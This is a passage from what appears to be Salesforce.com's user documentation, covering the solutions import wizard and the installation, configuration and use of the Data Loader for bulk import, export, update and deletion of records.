import file exactly match field labels in Salesforce.com, the wizard automatically maps those fields for you. However, if
two or more of your file's column labels are identical matches with a field in Salesforce.com, you must map the fields
manually.
Note: Some Salesforce.com fields cannot be updated using import, for example, the Created Date and Last
Modified Date. So even though you may be using an exported report as your import file, some of the
Salesforce.com fields in your file cannot be mapped.

2. Click Next. The import wizard warns you if you have not mapped all of the fields in your import file. Unmapped field
values are not imported.

Confirm and submit your import


1. Read any warning messages that the import wizard displays. Optionally, click Previous to return to earlier steps and resolve
potential problems.
2. Click Import Now! to submit your import request to Salesforce.com.

Complete your import


1. A message indicates approximately how long the import will take. When the import operation is finished, a message from
Customer Support will be sent to the email address shown.
2. Click Finish to exit the wizard.
3. To monitor the status of your pending import, visit the import queue. See Using the Import Queue on page 700.

See Also:
Accessing the Import Wizards
What Is Imported for Custom Objects?
FAQ: Importing

661
Data Management Accessing the Import Wizards

Import My Organization's Solutions


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To import solutions: “Import Solutions”

With the Import My Organization's Solutions wizard, you can import solutions.
Follow these steps to import solutions. Click each link for more details.

1. Launch the wizard


2. Choose the type of solution (multilingual solutions only)
3. Prevent duplicate records
4. Specify author and lookup relationships
5. Set lookup record matching
6. Select record type
7. Upload your import file
8. Map fields
9. Confirm and submit your import
10. Complete your import

Note: The import wizard is dynamic; it displays different screens depending on what you are importing and the setup
of your organization.

Launch the wizard


1. To import solutions, choose Setup ➤ Data Management ➤ Import Solutions.
2. For best results, perform all of the steps provided on the introductory page.
3. Click Start the Import Wizard! to begin your import.

Choose the type of solution (multilingual solutions only)


1. If multilingual solutions is enabled for your organization, choose to import either master solutions or translated solutions.
You cannot import both at the same time.
For each translated solution you import, include the 15 to 18 character Solution ID field of its master solution in a
master solution ID column in your import file. This will help you avoid having to manually associate translated solutions
with master solutions after import. To view the Solution ID field for master solutions, run the Translated Solutions
report.
2. Select the language of the solutions you are importing from the Language drop-down list. For each import, you can only
select one language so make sure your import file includes solutions in a single language.

662
Data Management Accessing the Import Wizards

Prevent duplicate records


1. The import wizard can compare the records in your import file with existing records in Salesforce.com in order to prevent
duplicate records from being created as a result of your import. Indicate whether you would like to prevent duplicate records
from being created. You must select Yes in order to update existing records.
2. If you choose Yes, then additional choices will appear:
• Choose the field that you are using to match existing records in Salesforce.com with records in your import file. The
External ID option is disabled if no external ID fields have been created for your records.
• Choose what you want to happen if matches are found—only import new records, only update existing records, or
update existing records and import new ones.
Note: If you have chosen to match by Salesforce.com ID, you can only update existing records; you cannot
import new ones.

3. Click Next.

Specify author and lookup relationships


1. Solutions are associated with authors - the users who initially created the solutions. If you have included a column in your
import file to identify authors, specify the user field it contains.
When you choose “Name,” the following formats are valid:
• First name followed by last name
• Last name followed by first name
• Alias
• Username
For more information, see User Fields on page 27.
Choose None to specify yourself as the author of the imported solutions.
2. Records can have custom fields that create lookup relationships with other records. If you have included lookup fields in
your import file, then check the corresponding boxes.
Note: Any related records must already exist in Salesforce.com before proceeding. Related records will not be
updated during your import even if your import file contains different values for fields on those related records.

3. Click Next.

Set lookup record matching


1. If you checked one or more lookup fields in the previous step, select the field (name or ID) you are using to uniquely
identify those related records.
2. Click Next.

Select record type


1. If the records you are importing have record types, then choose the record type that you want to assign to the records in
your import file.
2. If you are inserting new records and updating existing records at the same time, then choose whether to override the record
types of existing records.
3. Click Next.

663
Data Management Accessing the Import Wizards

Upload your import file


1. Click Browse... to provide the location of your import file.
2. Choose the character encoding of your import file. In most cases, you can accept the default value.
3. Make additional settings depending on the setup of your organization, such as whether workflow rules will be triggered
and the language of the records in the import file.
4. Click Next.

Map fields
1. Map the fields in your import file to the appropriate Salesforce.com fields by matching the fields on the left, which includes
all the columns in your import file, with the appropriate Salesforce.com field on the right. If the column labels in your
import file exactly match field labels in Salesforce.com, the wizard automatically maps those fields for you. However, if
two or more of your file's column labels are identical matches with a field in Salesforce.com, you must map the fields
manually.
Note: Some Salesforce.com fields cannot be updated using import, for example, the Created Date and Last
Modified Date. So even though you may be using an exported report as your import file, some of the
Salesforce.com fields in your file cannot be mapped.

2. Click Next. The import wizard warns you if you have not mapped all of the fields in your import file. Unmapped field
values are not imported.

Confirm and submit your import


1. Read any warning messages that the import wizard displays. Optionally, click Previous to return to earlier steps and resolve
potential problems.
2. Click Import Now! to submit your import request to Salesforce.com.

Complete your import


1. A message indicates approximately how long the import will take. When the import operation is finished, a message from
Customer Support will be sent to the email address shown.
2. Click Finish to exit the wizard.
3. To monitor the status of your pending import, visit the import queue. See Using the Import Queue on page 700.

See Also:
Accessing the Import Wizards

664
Data Management Undoing an Import

Undoing an Import
Available in: All Editions

User Permissions Needed


To mass delete data: “Modify All Data”

If you import accounts, contacts, leads, or solutions by mistake, your administrator can click Setup ➤ Data Management ➤
Mass Delete Records to delete the items you mistakenly imported. View the Using Mass Delete to Undo Imports document
for instructions.
The Mass Delete Records tools do not support custom objects. If you import custom objects by mistake in Enterprise,
Unlimited, or Developer Edition, your administrator can use the Data Loader to mass delete the mistakenly imported records.
See Performing Mass Deletes on page 678.

DATA LOADER

Data Loader Overview


Available in: Enterprise, Unlimited, and Developer Editions

The Data Loader is a client application for the bulk import or export of data. Use it to insert, update, delete, or export
Salesforce.com records.
When importing data, the Data Loader reads, extracts, and loads data from comma separated values (CSV) files or from a
database connection. When exporting data, it outputs CSV files.
Note: If commas are not appropriate for your locale, use a tab or other delimiter.

You can use Data Loader interactively through its user interface, or set up automated batch processes launched from the
command line. When you use the user interface, you work interactively to specify the configuration parameters, CSV files
used for import and export, and the field mappings that map the field names in your import file with the field names in
Salesforce.com. When you set up batch processes through the command line, you specify the configuration, data sources,
mappings, and actions in files used for automated processing.
The Data Loader offers the following key features:

• An easy-to-use wizard interface for interactive use


• An alternate command line interface for automated batch operations
• Support for large files with up to 5 million records

665
Data Management When to Use the Data Loader

• Drag-and-drop field mapping


• Support for all objects, including custom objects
• Detailed success and error log files in CSV format
• A built-in CSV file viewer
• Support for Windows 7 and Windows XP

In addition, an open source version of Data Loader is available here.


Note: If you are currently using Windows 2000, we encourage you to use Data Loader on Windows 7 instead.

To get started, see the following topics:

• When to Use the Data Loader


• Installing the Data Loader

Note: In previous versions, the Data Loader has been known as the “AppExchange Data Loader“ and the “Sforce
Data Loader.”

When to Use the Data Loader


Available in: Enterprise, Unlimited, and Developer Editions

The Data Loader complements the web-based import wizards that are accessible from the Setup menu in the online application.
Refer to the following guidelines to determine which method of importing best suits your business needs:

Use the Data Loader when:


• You need to load 50,000 to 5,000,000 records. If you need to load more than 5,000,000 records, we recommend you work
with a Salesforce.com partner.
• You need to load into an object that is not yet supported by web-based importing.
• You want to schedule regular data loads, such as nightly imports.
• You want to export your data for backup purposes.

Use Web-based importing when:


• You are loading less than 50,000 records.
• The object you need to import is supported by the web-based import wizards.
• You want to prevent duplicates by uploading records according to account name and site, contact email address, or lead
email address.

666
Data Management Installing the Data Loader

INSTALLING AND CONFIGURING THE DATA LOADER

Installing the Data Loader


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To access the page to download the Data Loader: “Modify All Data”
To use the Data Loader: The appropriate user permission for the operation you are
doing, for example, “Create” on accounts to insert new
accounts

System Requirements
To use the Data Loader, you need:
• Windows 7 or Windows XP.
You can run the Data Loader wizards or run the application from the command line.
• 90 MB free disk space.
• 256 MB available memory.
• Java JRE 1.5 or later (Windows XP or Windows 7).
• Sun JVM 1.5 or later (Windows XP or Windows 7).
Note: If you are currently using Windows 2000, we encourage you to use Data Loader on Windows 7 instead.

Installation Procedure
Caution: Over time, multiple versions of the Data Loader client application have been available for download. Different
versions have different entries in the Add or Remove Programs dialog in your Windows Control Panel. Some versions
were released with earlier product names such as “AppExchange Data Loader” or “Sforce Data Loader.” You can run
different versions at the same time on one computer. However, do not install multiple copies of the same version.
The latest version is always available from Salesforce.com at Setup ➤ Data Management ➤ Data Loader. If you
have previously installed the latest version and want to install it again, first remove it from your computer by using the
Add or Remove Programs dialog in the Windows Control Panel.

1. In the online application, click Setup ➤ Data Management ➤ Data Loader.


2. Click Download the Data Loader and save the installer to your PC.
3. Double-click the downloaded file to launch the InstallShield wizard.
4. Click Next.
5. Accept the license agreement and click Next.

667
Data Management Configuring the Data Loader

6. Accept the default installation directory, or click Change... to choose another directory. Click Next.
7. Click Install.
8. Click Finish.
9. To start the Data Loader, double-click the Data Loader icon on your desktop, or choose Start ➤ All Programs ➤
salesforce.com ➤ Data Loader ➤ Data Loader.
Tip:
If you experience login issues in the command line interface after upgrading to a new version of the Data Loader,
please try re-encrypting your password to solve the problem. For information on the password encryption utility, see
Encrypting From the Command Line on page 682.

Logging In to the Data Loader


If your organization restricts IP addresses, logins from untrusted IPs are blocked until they're activated. Salesforce.com
automatically sends you an activation email that you can use to log in. The email contains a security key that you must add to
the end of your password. For example, if your password is mypassword, and your security token is XXXXXXXXXX, you must
enter mypasswordXXXXXXXXXX to log in.

Configuring the Data Loader


Available in: Enterprise, Unlimited, and Developer Editions

Use the Settings menu to change the default operation settings of the Data Loader.

1. Start the Data Loader by choosing Start ➤ Programs ➤ salesforce.com ➤ Data Loader ➤ Data Loader.
2. Choose Settings ➤ Settings.
3. Edit the fields as desired:

Field Description
Batch Size In a single insert, update, upsert, or delete operation, records
moving to or from Salesforce.com are processed in
increments of this size. The maximum value is 200. We
recommend a value between 50 and 100.
The maximum value is 10,000 if the Use Bulk API option
is selected.

Insert Null Values Enable this option to insert blank mapped values as null
values during data operations. Note that when you are
updating records, this option instructs the Data Loader to
overwrite any existing data in mapped fields.
This option is not available if the Use Bulk API option
is selected. Empty field values are ignored when you update
records using the Bulk API. To set a field value to null
when the Use Bulk API option is selected, use a field value
of #N/A.

668
Data Management Configuring the Data Loader

Field Description
Assignment Rule Specify the ID of the assignment rule to use for inserts,
updates, and upserts. This option applies to inserts, updates,
and upserts on cases and leads. It also applies to updates on
accounts if your organization has territory assignment rules
on accounts. The assignment rule overrides Owner values
in your CSV file.
Server Host Enter the URL of the Salesforce.com server with which you
want to communicate. For example, if you are loading into
a sandbox, change the URL to
https://test.salesforce.com.

Reset URL on Login By default, Salesforce.com resets the URL after login to the
one specified in Server Host. To turn off this automatic
reset, disable this option.
Compression Compression enhances the performance of the Data Loader
and is turned on by default. You may want to disable
compression if you need to debug the underlying SOAP
messages. To turn off compression, enable this option.
Timeout Specify for how many seconds the Data Loader waits to
receive a response back from the server.
Query Request Size In a single export or query operation, records are returned
from Salesforce.com in increments of this size. The
maximum value is 2,000. Larger values may improve
performance, but use more memory on the client.
Generate success files for exports Select this option to generate a success file when exporting
data.
Read all CSVs with UTF-8 encoding This option forces files to open in UTF-8 encoding, even if
they were saved in a different format.
Write all CSVs with UTF-8 encoding This option forces files to be written in UTF-8 encoding.
Use European Date Format Select this option to support the date formats dd/MM/yyyy
and dd/MM/yyyy HH:mm:ss.
Allow field truncation Select this option to direct the Data Loader to truncate data
in the following types of fields when loading that data into
Salesforce.com: Email, Multi-select Picklist, Phone, Picklist,
Text, and Text (Encrypted).
In Data Loader versions 14.0 and earlier, values for fields of
those types are truncated by the Data Loader if they are too
large. In Data Loader version 15.0 and later, the load
operation fails if a value is specified that is too large.
Selecting this option allows you to specify that the previous
behavior, truncation, be used instead of the new behavior in

669
Data Management Configuring the Data Loader

Field Description
Data Loader versions 15.0 and later. This option is selected
by default and has no effect in versions 14.0 and earlier.
This option is not available if the Use Bulk API option
is selected. In that case, the load operation fails for the row
if a value is specified that is too large for the field.

Use Bulk API Select this option to use the Bulk API to insert, update,
upsert, delete, and hard delete records. The Bulk API is
optimized to load or delete a large number of records
asynchronously. It is faster than the default SOAP-based
API due to parallel processing and fewer network
round-trips..
Caution: When you select the Hard Delete
operation, the deleted records are not stored in the
Recycle Bin. Instead, they become immediately
eligible for deletion. The administrative permission
for this operation, Bulk API Hard Delete, is disabled
by default and must be enabled by an administrator.
A Salesforce user license is required for hard delete.

Enable serial mode for Bulk API Select this option to use serial instead of parallel processing
for the Bulk API. Processing in parallel can cause database
contention. When this is severe, the load may fail. Using
serial mode guarantees that batches are processed one at a
time. Note that using this option may significantly increase
the processing time for a load.
This option is only available if the Use Bulk API option
is selected.

Proxy Host The host name of the proxy server, if applicable.


Proxy Port The proxy server port.
Proxy Username The username for proxy server authentication.
Proxy Password The password for proxy server authentication.
Proxy NTLM domain The name of the Windows domain used for NTLM
authentication.
Start at row If your last operation failed, you can use this setting to begin
where the last successful operation finished.

4. Click OK to save your settings.

670
Data Management Configuring the Data Loader

Data Loader Behavior with Bulk API Enabled


Available in: Enterprise, Unlimited, and Developer Editions

Enabling the Bulk API in Data Loader allows you to load or delete a large number of records faster than using the default
SOAP-based API. However, there are some differences in behavior in Data Loader when you enable the Bulk API. One
important difference is that it allows you execute a hard delete if you have the administrative permission and license. For more
information, see Configuring the Data Loader on page 668
The following settings are not available on the Settings ➤ Settings page in Data Loader when the Use Bulk API option
is selected:
Insert Null Values
This option enables Data Loader to insert blank mapped values as null values during data operations when the Bulk
API is disabled. Empty field values are ignored when you update records using the Bulk API. To set a field value to
null when the Use Bulk API option is selected, use a field value of #N/A.

Allow field truncation


This option directs Data Loader to truncate data for certain field types when the Bulk API is disabled. A load operation
fails for the row if a value is specified that is too large for the field when the Use Bulk API option is selected.

You can't use Data Loader and the Bulk API to upload attachments. To upload attachments, you must disable Use Bulk
API on the Settings ➤ Settings page in Data Loader.

Configuring the Data Loader to Use the Bulk API


Available in: Enterprise, Unlimited, and Developer Editions

The Bulk API is optimized to load or delete a large number of records asynchronously. It is faster than the SOAP-based API
due to parallel processing and fewer network round-trips. By default, Data Loader uses the SOAP-based API to process
records.
To configure Data Loader to use the Bulk API for inserting, updating, upserting, deleting, and hard deleting records:

1. Start the Data Loader by choosing Start ➤ Programs ➤ salesforce.com ➤ Data Loader ➤ Data Loader.
2. Choose Settings ➤ Settings.
3. Select the Use Bulk API option.
4. Click OK.

Note: You can also select the Enable serial mode for Bulk API option. Processing in parallel can cause
database contention. When this is severe, the load may fail. Using serial mode guarantees that batches are processed
one at a time. Note that using this option may significantly increase the processing time for a load.

Caution: When you select the Hard Delete operation, the deleted records are not stored in the Recycle Bin. Instead,
they become immediately eligible for deletion. The administrative permission for this operation, Bulk API Hard

671
Data Management Uninstalling the Data Loader

Delete, is disabled by default and must be enabled by an administrator. A Salesforce user license is required for hard
delete.

Uninstalling the Data Loader


Available in: Enterprise, Unlimited, and Developer Editions

To uninstall the Data Loader client application:

1. Go to Start ➤ Control Panel ➤ Add or Remove Programs.


2. Select the Data Loader program.
3. Click Remove. The uninstaller removes the program from your computer.

USING DATA LOADER

Data Types Supported by the Data Loader


Available in: Enterprise, Unlimited, and Developer Editions

Data Loader supports the following data types:


Base64
String path to file (converts the file to a base64–encoded array). Base64 fields are only used to insert or update attachments
and Salesforce CRM Content. For more information, see Uploading Attachments on page 678 and Uploading Content
with the Data Loader on page 679.

Boolean

• True values (case insensitive) = “yes”, “y”, “true”, “on”, “1”


• False values (case insensitive) = “no”, “n”, “false”, “off ”, “0”

Date Formats

We recommend you specify dates in the format yyyy-MM-ddTHH:mm:ss.SSS+/-HHmm:

• yyyy is the four-digit year


• MM is the two-digit month (01-12)
• dd is the two-digit day (01-31)
• HH is the two-digit hour (00-23)
• mm is the two-digit minute (00-59)
• ss is the two-digit seconds (00-59)

672
Data Management Data Types Supported by the Data Loader

• SSS is the three-digit milliseconds (000-999)


• +/-HHmm is the Zulu (UTC) time zone offset

The following date formats are also supported:

• yyyy-MM-dd'T'HH:mm:ss.SSS'Z'
• yyyy-MM-dd'T'HH:mm:ss.SSS Pacific Standard Time
• yyyy-MM-dd'T'HH:mm:ss.SSSPacific Standard Time
• yyyy-MM-dd'T'HH:mm:ss.SSS PST
• yyyy-MM-dd'T'HH:mm:ss.SSSPST
• yyyy-MM-dd'T'HH:mm:ss.SSS GMT-08:00
• yyyy-MM-dd'T'HH:mm:ss.SSSGMT-08:00
• yyyy-MM-dd'T'HH:mm:ss.SSS -800
• yyyy-MM-dd'T'HH:mm:ss.SSS-800
• yyyy-MM-dd'T'HH:mm:ss
• yyyy-MM-dd HH:mm:ss
• yyyyMMdd'T'HH:mm:ss
• yyyy-MM-dd
• MM/dd/yyyy HH:mm:ss
• MM/dd/yyyy

Note the following tips for date formats:

• To enable date formats that begin with the day rather than the month, select the Use European date format
box in the Settings dialog. European date formats aredd/MM/yyyy and dd/MM/yyyy HH:mm:ss.
• If your computer's locale is east of Greenwich Mean Time (GMT), we recommend that you change your computer
setting to GMT in order to avoid date adjustments when inserting or updating records. A knowledge base solution
for this issue is available in the Salesforce.com Help & Training window; search for “data loader date.”
• Only dates within a certain range are valid. The earliest valid date is 1700-01-01T00:00:00Z GMT, or just after
midnight on January 1, 1700. The latest valid date is 4000-12-31T00:00:00Z GMT, or just after midnight on
December 31, 4000.
Note: These values are offset by your timezone. For example, in the Pacific timezone, the earliest valid date
is 1699-12-31T16:00:00, or 4:00 PM on December 31, 1699.

Double
Standard double string

ID
A Salesforce.com ID is a case-sensitive 15-character or case–insensitive 18-character alphanumeric string that uniquely
identifies a particular record.
Tip: To ensure data quality, make sure that all Salesforce.com IDs you enter in the Data Loader are in the
correct case.

673
Data Management Exporting Data

Integer
Standard integer string

String
All valid XML strings; invalid XML characters are removed.

Exporting Data
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To export records: “Read” on the records

You can use the Data Loader export wizard to extract data from any Salesforce.com object.

1. Start the Data Loader by choosing Start ➤ Programs ➤ salesforce.com ➤ Data Loader ➤ Data Loader.
2. Click Export. This command can also be found in the File menu.
3. Enter your Salesforce.com username and password. Click Log in to log in. After your login completes successfully, click
Next. (Until you log out or close the program, you will not be asked to log in again.)
If your organization restricts IP addresses, logins from untrusted IPs are blocked until they're activated. Salesforce.com
automatically sends you an activation email that you can use to log in. The email contains a security key that you must add
to the end of your password. For example, if your password is mypassword, and your security token is XXXXXXXXXX,
you must enter mypasswordXXXXXXXXXX to log in.
4. Choose an object. For example, select the Account object. If your object name does not display in the default list, check
Show all objects to see a complete list of objects that you can access. The objects will be listed by localized label
name, with developer name noted in parentheses. For object descriptions, see the Web Services API Developer's Guide.
5. Click Browse... to select the CSV file to which the data will be exported. You can enter a new file name to create a new
file or choose an existing file.
If you select an existing file, the contents of that file are replaced. Click Yes to confirm this action, or click No to choose
another file.
6. Click Next.
7. Create a SOQL query for the data export. For example, check Id and Name in the query fields and click Finish. As you
follow the next steps, you will see that the CSV viewer displays all the Account names and their IDs. SOQL is the
Salesforce.com Object Query Language that allows you to construct simple but powerful query strings. Similar to the
SELECT command in SQL, SOQL allows you to specify the source object (such as account), a list of fields to retrieve,
and conditions for selecting rows in the source object.

a. Choose the fields you want to export.


b. Optionally, select conditions to filter your data set. If you do not select any conditions, all the data to which you have
read access will be returned.
c. Review the generated query and edit if necessary.

674
Data Management Defining Field Mappings

Tip: You can use a SOQL relationship query to include fields from a related object. For example:

Select Name, Pricebook2Id, Pricebook2.Name, Product2Id, Product2.ProductCode FROM


PricebookEntry WHERE IsActive = true

Or:

Select Id, LastName, Account.Name FROM Contact

When using relationship queries in the Data Loader, the fully specified field names are case-sensitive. For example,
using ACCOUNT.NAME instead of Account.Name does not work.
The Data Loader does not support nested queries or querying child objects. For example, queries similar to the
following return an error:

SELECT Amount, Id, Name, (SELECT Quantity, ListPrice,


PriceBookEntry.UnitPrice, PricebookEntry.Name,
PricebookEntry.product2.Family FROM OpportunityLineItems)
FROM Opportunity

For more information on SOQL, see the Web Services API Developer's Guide.
8. Click Finish, then click Yes to confirm.
9. A progress information window reports the status of the operation.
10. After the operation completes, a confirmation window summarizes your results. Click View Extraction to view the CSV
file, or click OK to close. For more details, see Reviewing Output Files on page 680.

Note: The Data Loader currently does not support the extraction of attachments. As a workaround, we recommend
that you use the weekly export feature in the online application to export attachments.

Defining Field Mappings


Available in: Enterprise, Unlimited, and Developer Editions

Whenever you insert, delete, or update files, use the Mapping Dialog window to associate Salesforce.com fields with the
columns of your CSV file. For more information, see Inserting, Updating, or Deleting Data Using the Data Loader on page
676.

1. To automatically match fields with columns, click Auto-Match Fields to Columns. The Data Loader automatically
populates the list at the bottom of the window, based on the similarity of field and column names. Note that for a delete
operation, automatic matching works only on the ID field.
2. To manually match fields with columns, click and drag fields from the list of Salesforce.com fields at the top to the list of
CSV column header names at the bottom. For example, if you are inserting new Account records where your CSV file
contains the names of new accounts, click and drag the Name field to the right of the NAME column header field.
3. Optionally, click Save Mapping to save this mapping for future use. Specify a name for the SDL mapping file.
If you select an existing file, the contents of that file are replaced. Click Yes to confirm this action, or click No to choose
another file.

675
Data Management Inserting, Updating, or Deleting Data Using the Data Loader

4. Click OK to use your mapping for the current operation.

Inserting, Updating, or Deleting Data Using the Data


Loader
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To insert records: “Create” on the record
To update records: “Edit” on the record
To upsert records: “Create” or “Edit” on the record
To delete records: “Delete” on the record
To hard delete records “Delete” on the record

The insert, update, upsert, delete, and hard delete wizards in the Data Loader allow you to add new records, modify existing
records, or delete existing records. Note that “upsert” is a combination of inserting and updating - if a record in your file
matches an existing record, the existing record is updated with the values in your file. If no match is found, then the record is
created as new. When you hard delete records, the deleted records are not stored in the Recycle Bin and become immediately
eligible for deletion. For more information, see Configuring the Data Loader on page 668.

1. Start the Data Loader by choosing Start ➤ Programs ➤ salesforce.com ➤ Data Loader ➤ Data Loader.
2. Click Insert, Update, Upsert, Delete or Hard Delete. These commands can also be found in the File menu. For example,
to insert new Account records, begin by clicking Insert.
3. Enter your Salesforce.com username and password. Click Log in to log in. After your login completes successfully, click
Next. (Until you log out or close the program, you are not asked to log in again.)
If your organization restricts IP addresses, logins from untrusted IPs are blocked until they're activated. Salesforce.com
automatically sends you an activation email that you can use to log in. The email contains a security key that you must add
to the end of your password. For example, if your password is mypassword, and your security token is XXXXXXXXXX,
you must enter mypasswordXXXXXXXXXX to log in.
4. Choose an object. For example, if you are inserting Account records, select Account. If your object name does not display
in the default list, check Show all objects to see a complete list of the objects that you can access. The objects are
listed by localized label name, with developer name noted in parentheses. For object descriptions, see the Web Services API
Developer's Guide.
5. Click Browse... to select your CSV file. For example, if you are inserting Account records, you could specify a CSV file
named insertaccounts.csv containing a Name column for the names of the new accounts.
6. Click Next. After the object and CSV file are initialized, click OK.
7. If you are performing an upsert:

a. Your CSV file must contain a column of ID values for matching against existing records. The column may be either
an external ID (a custom field with the “External ID” attribute), or Id (the Salesforce.com record ID). From the
drop-down list, select which field to use for matching. If the object has no external ID fields, Id is automatically used.
For more information on external IDs, see Custom Field Attributes on page 817. Click Next to continue.

676
Data Management Inserting, Updating, or Deleting Data Using the Data Loader

b. If your file includes the external IDs of an object that has a relationship to your chosen object, enable that external ID
for record matching by selecting its name from the drop-down list. If you make no selection here, you can use the
related object's Id field for matching by mapping it in the next step. Click Next to continue.

8. Define how the columns in your CSV file map to Salesforce.com fields. Click Choose an Existing Map to select an existing
field mapping, or click Create or Edit a Map to create a new map or modify an existing map. For more details and an
example of usage, see Defining Field Mappings on page 675.
9. Click Next.
10. For every operation, the Data Loader generates two unique CSV log files; one file name starts with “success,” while the
other starts with “error.” Click Browse... to specify a directory for these files.
11. Click Finish to perform the operation, and then click Yes to confirm.
12. As the operation proceeds, a progress information window reports the status of the data movement.
13. After the operation completes, a confirmation window summarizes your results. Click View Successes to view your success
file, click View Errors to open your errors file, or click OK to close. For more information, see Reviewing Output Files
on page 680.
Tip:

• If you are updating or deleting large amounts of data, review Performing Mass Updates and Performing Mass
Deletes for tips and best practices.
• There is a five-minute limit to process 100 records when the Bulk API is enabled. Also, if it takes longer than 10
minutes to process a file, the Bulk API places the remainder of the file back in the queue for later processing. If
the Bulk API continues to exceed the 10-minute limit on subsequent attempts, the file is placed back in the queue
and reprocessed up to 10 times before the operation is permanently marked as failed. Even if the processing failed,
some records could have completed successfully, so you must check the results. If you get a timeout error when
loading a file, split your file into smaller files, and try again.

Performing Mass Updates


Available in: Enterprise, Unlimited, and Developer Editions

To update a large number of records at one time, we recommend the following steps:

1. Obtain your data by performing an export of the objects you wish to update, or by running a report. See Exporting Data
on page 674, or Running Reports on page 2133. Make sure your report includes the record ID.
2. As a backup measure, save an extra copy of the generated CSV file.
3. Open your working file in a CSV editor such as Excel, and update your data.
4. Launch the Data Loader and follow the update wizard. Note that matching is done according to record ID. See Inserting,
Updating, or Deleting Data Using the Data Loader on page 676.
5. After the operation, review your success and error log files. See Reviewing Output Files on page 680.
6. If you made a mistake, use the backup file to update the records to their previous values.

677
Data Management Uploading Attachments

Performing Mass Deletes


Available in: Enterprise, Unlimited, and Developer Editions

To delete a large number of records at one time using the Data Loader, we recommend the following steps:

1. As a backup measure, export the objects you wish to delete, being sure to select all fields. (See Exporting Data on page
674.) Save an extra copy of the generated CSV file.
2. Next, export the objects you wish to delete, this time using only the record ID as the desired criteria.
3. Launch the Data Loader and follow the delete or hard delete wizard. Map only the ID column. See Inserting, Updating,
or Deleting Data Using the Data Loader on page 676.
4. After the operation, review your success and error log files. See Reviewing Output Files on page 680.

Uploading Attachments
You can use the Data Loader to upload attachments to Salesforce.com.

1. Verify that Use Bulk API on the Settings ➤ Settings page is disabled. This setting enables the Bulk API, which is
optimized for loading large sets of data, but does not support importing attachments.
2. If you are migrating attachments from a source Salesforce.com organization to a target Salesforce.com organization, begin
by requesting a weekly data export for the source organization. On the Schedule Export page, make sure to select the
Include Attachments... checkbox, which causes the file Attachment.csv to be included in your export. You can
use that file in the next step. For more information on the weekly export service, see Exporting Backup Data on page 593.
3. Confirm that the CSV file you intend to use for attachment importing contains the following columns (each column
represents a Salesforce.com field):

• ParentId - the Salesforce.com ID of the parent record.


• Name - the name of the attachment file, such as myattachment.jpg.
• IsPrivate - “0” if the attachment is not private; “1” if it is private.
• OwnerId - the Salesforce.com ID of the record owner.
• Body - the Salesforce.com ID of the attachment.

4. Edit the values in the Body column so they contain the full file name of the attachments as they exist on your computer.
For example, if an attachment with the ID 123456789 is located on your computer at C:\Export, then set the value as
C:\Export\123456789. For reference, see this sample CSV file.
5. Proceed with an insert or upsert operation; see Inserting, Updating, or Deleting Data Using the Data Loader on page 676.
At the Select data objects step, make sure to select the Show all Salesforce.com objects checkbox and
the Attachment object name in the list.

Note: If your CSV file includes a column of attachment ID values, you can use a Microsoft Excel formula field to
prepend the directory path in front of the ID value.

678
Data Management Uploading Content with the Data Loader

Uploading Content with the Data Loader


Available in: Enterprise, Unlimited, and Developer Editions

You can use the Data Loader to bulk upload documents and links into workspaces in Salesforce CRM Content. Before
uploading documents or links, note the following:

• The Use Bulk API setting must be disabled.


• When you upload a document from your local drive using the Data Loader, you must specify the actual path in the
VersionData and PathOnClient fields in the CSV file. VersionData identifies the location and extracts the format
and PathOnClient identifies the type of document being uploaded.
• When you upload a link using the Data Loader, you must specify the URL in ContentUrl. Do not use PathOnClient
or VersionData to upload links.
• You can't export content using the Data Loader.

1. Create a CSV file with the following fields:

• Title - file name.


• Description - (optional) file or link description.

Note: If there are commas in the description, use double quotes around the text.

• VersionData - complete file path on your local drive (for uploading documents only).

Note: Files are converted to base64 encoding on upload. This adds approximately 30% to the file size.

• PathOnClient - complete file path on your local drive (for uploading documents only).
• ContentUrl - URL (for uploading links only).
• OwnerId - (optional) file owner, defaults to the user uploading the file.
• FirstPublishLocationId - workspace ID.
• RecordTypeId - content type ID.

Note: If you publish to a workspace that has restricted content types, you must specify RecordTypeId.

To determine the RecordTypeId values for your organization using the Data Loader, follow the steps in Exporting
Data. Your SOQL query might look like this:

Select Id, Name FROM RecordType WHERE SobjectType = 'ContentVersion'

To determine the RecordTypeId values for your organization using the AJAX Toolkit:

a. Log in to Salesforce.com.
b. Enter this URL in your browser:
http://instanceName.salesforce.com/soap/ajax/19.0/debugshell.html. Enter the instanceName,

679
Data Management Reviewing Output Files

such as na1, for your organization. You can see the instanceName in the URL field of your browser after logging
in to Salesforce.com.
c. In the AJAX Toolkit Shell page type:

sforce.connection.describeSObject("ContentVersion")

d. Press Enter.
e. Click on the arrows for recordTypeInfos.
All of the RecordTypeId values for your organization are listed.

• TagsCsv - (optional) tag.

A sample CSV file is:

Title,Description,VersionData,PathOnClient,OwnerId,FirstPublishLocationId,RecordTypeId,TagsCsv
testfile,"This is a test file, use for bulk
upload",c:\files\testfile.pdf,c:\files\testfile.pdf,005000000000000,058700000004Cd0,012300000008o2sAQG,one

2. Upload the CSV file for the ContentVersion object; see Inserting, Updating, or Deleting Data Using the Data Loader on
page 676. All documents and links will be available in the specified workspace.

Reviewing Output Files


Available in: Enterprise, Unlimited, and Developer Editions

After every import or export, the Data Loader generates two unique CSV output files. One file name starts with “success,”
while the other starts with “error.” During every export, the Data Loader saves extracted data to a CSV file that you specify
in the wizard. The Data Loader has a built-in CSV file viewer with which you can open these files.
To view output files from a Data Loader operation:

1. Choose View CSV from the View menu of the Data Loader.
2. Specify a number of rows to view. Each row in the CSV file corresponds to one Salesforce.com record. The default is 1000.
3. To view a CSV file of your choice, click Open CSV. To view the last success file, click Open Success. To view the last
error file, click Open Error.
4. The CSV file opens in a new window. Optionally, click Open in External Program to open the file in the associated
external program, such as Microsoft® Office Excel.
The “success” file contains all records that were successfully loaded. In it, there is a column for newly generated record IDs.
The “error” file contains all records that were rejected from the load operation. In it, there is a column that describes why
the load failed.
5. Click Close to return to the CSV Chooser window, and then click OK to exit the window.

Note: To generate success files when exporting data, select the Generate success files for exports setting.
For more information, see Configuring the Data Loader on page 668.

680
Data Management Troubleshooting Data Loader Operations

Troubleshooting Data Loader Operations


Available in: Enterprise, Unlimited, and Developer Editions

If you need to investigate a problem with the Data Loader, or if requested by salesforce.com Customer Support, you can access
